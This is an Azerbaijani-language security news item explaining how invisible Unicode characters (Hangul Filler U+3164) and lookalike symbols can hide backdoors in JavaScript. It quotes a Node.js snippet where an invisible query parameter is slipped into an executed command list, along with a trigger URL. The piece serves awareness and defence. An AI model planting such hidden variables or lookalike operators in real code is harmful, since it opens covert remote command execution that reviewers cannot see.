JavaScript kodunda hərəkətləri gizlətmək üçün görünməz unicode simvollarından istifadə

İki istiqamətli mətnin göstərilməsi qaydasını dəyişən Unicode simvollarının istifadəsinə əsaslanan Trojan Mənbə hücumu metodundan sonra, JavaScript koduna tətbiq edilən gizli hərəkətlərin tətbiqi üçün başqa bir texnika nəşr olundu. Yeni metod hərflər kateqoriyasına aid olan, lakin görünən məzmunu olmayan unicode “ㅤ” simvolunun (kod 0x3164, “HANGUL FILLER”) istifadəsinə əsaslanır. Bu simvolun aid olduğu Unicode kateqoriyasına JavaScript dəyişən adlarında istifadə üçün ECMAScript 2015 spesifikasiyasına icazə verilib və bu, Notepad++ və VS Code kimi məşhur kod redaktorlarında digər dəyişənlərdən fərqlənməyən görünməz dəyişənlər və ya yeni dəyişənlər yaratmağa imkan verir.

Nümunə olaraq, Node.js platforması üçün kod verilmişdir ki, burada bir “ㅤ” simvolundan ibarət dəyişəndən istifadə edərək, təcavüzkarın göstərdiyi kodu icra etməyə imkan verən arxa qapı gizlənir: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // əslində “const { timeout,ㅤ \u3164}” deyir const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // vergüldən sonra \u3164 ] simvolu gəlir;

İlk baxışda xarici parametrdən yalnız timeout dəyəri keçir və yerinə yetiriləcək əmrləri olan massiv zərərsiz sabit siyahı ehtiva edir. Ancaq əslində, vaxt aşımı dəyişəndən sonra, \u3164 simvol kodu ilə başqa bir görünməz dəyişənin dəyəri təyin edilir, bu da icra edilə bilən əmrlər massivində əvəz olunur. Beləliklə, belə bir dizayn varsa, təcavüzkar arxa qapını aktivləşdirmək və kodunu icra etmək üçün “https://host:8080/network_health?%E3%85%A4=command” kimi sorğu göndərə bilər.

Başqa bir misal, nida işarəsini göstərən görünüş vermək üçün istifadə edilə bilən "ǃ" (ALVEOLAR KLİK) simvoludur. Məsələn, Node.js 14-də icra edilən “if(environmentǃ=ENV_PROD){” ifadəsi həmişə doğru olacaq, çünki o, fərqi yoxlamır, lakin “environmentǃ” dəyişəninə ENV_PROD dəyərini təyin edir. Digər aldadıcı unicode simvollarına "/", "−", "+", "⩵", "❨", "⫽", "꓿" və "∗" daxildir.

Mənbə: opennet.ru

Добавить комментарий